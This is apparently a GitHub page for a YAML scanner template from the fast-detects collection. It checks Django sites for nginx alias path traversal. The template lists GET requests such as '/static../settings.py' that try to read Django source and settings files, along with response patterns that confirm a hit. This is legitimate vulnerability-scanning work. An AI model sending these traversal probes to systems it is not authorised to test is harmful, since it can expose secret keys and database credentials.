forked from wallarm/fast-detects
-
Notifications
You must be signed in to change notification settings - Fork 0
/
django_nginx_alias_traversal.yaml
100 lines (72 loc) · 1.92 KB
/
django_nginx_alias_traversal.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#Attention! You have to add URI_.* insertion point to your policy
send:
- method: 'GET'
url: '/static../manage.py'
- method: 'GET'
url: '/media../manage.py'
- method: 'GET'
url: '/uploads../manage.py'
- method: 'GET'
url: '/static../__init__.py'
- method: 'GET'
url: '/media../__init__.py'
- method: 'GET'
url: '/uploads../__init__.py'
- method: 'GET'
url: '/static../settings.py'
- method: 'GET'
url: '/media../settings.py'
- method: 'GET'
url: '/uploads../settings.py'
- method: 'GET'
url: '/static../apps/settings.py'
- method: 'GET'
url: '/media../apps/settings.py'
- method: 'GET'
url: '/uploads../apps/settings.py'
- method: 'GET'
url: '/static../dev/settings.py'
- method: 'GET'
url: '/media../dev/settings.py'
- method: 'GET'
url: '/uploads../dev/settings.py'
- method: 'GET'
url: '/static../production/settings.py'
- method: 'GET'
url: '/media../production/settings.py'
- method: 'GET'
url: '/uploads../production/settings.py'
- method: 'GET'
url: '/static../project/settings.py'
- method: 'GET'
url: '/media../project/settings.py'
- method: 'GET'
url: '/uploads../project/settings.py'
- method: 'GET'
url: '/static../mysite/settings.py'
- method: 'GET'
url: '/media../mysite/settings.py'
- method: 'GET'
url: '/uploads../mysite/settings.py'
- method: 'GET'
url: '/static../website/settings.py'
- method: 'GET'
url: '/media../website/settings.py'
- method: 'GET'
url: '/uploads../website/settings.py'
detect:
- response:
- body: 'from django\.core\.management import execute_from_command_line'
- body: 'from django.* import'
- body: '''django\.contrib\.staticfiles'','
meta-info:
- type: ptrav
- threat: 70
- applicable_for:
- fast
- scanner
- tags:
- Django
- NGINX alias traversal
- Misconfiguration
- Path Traversal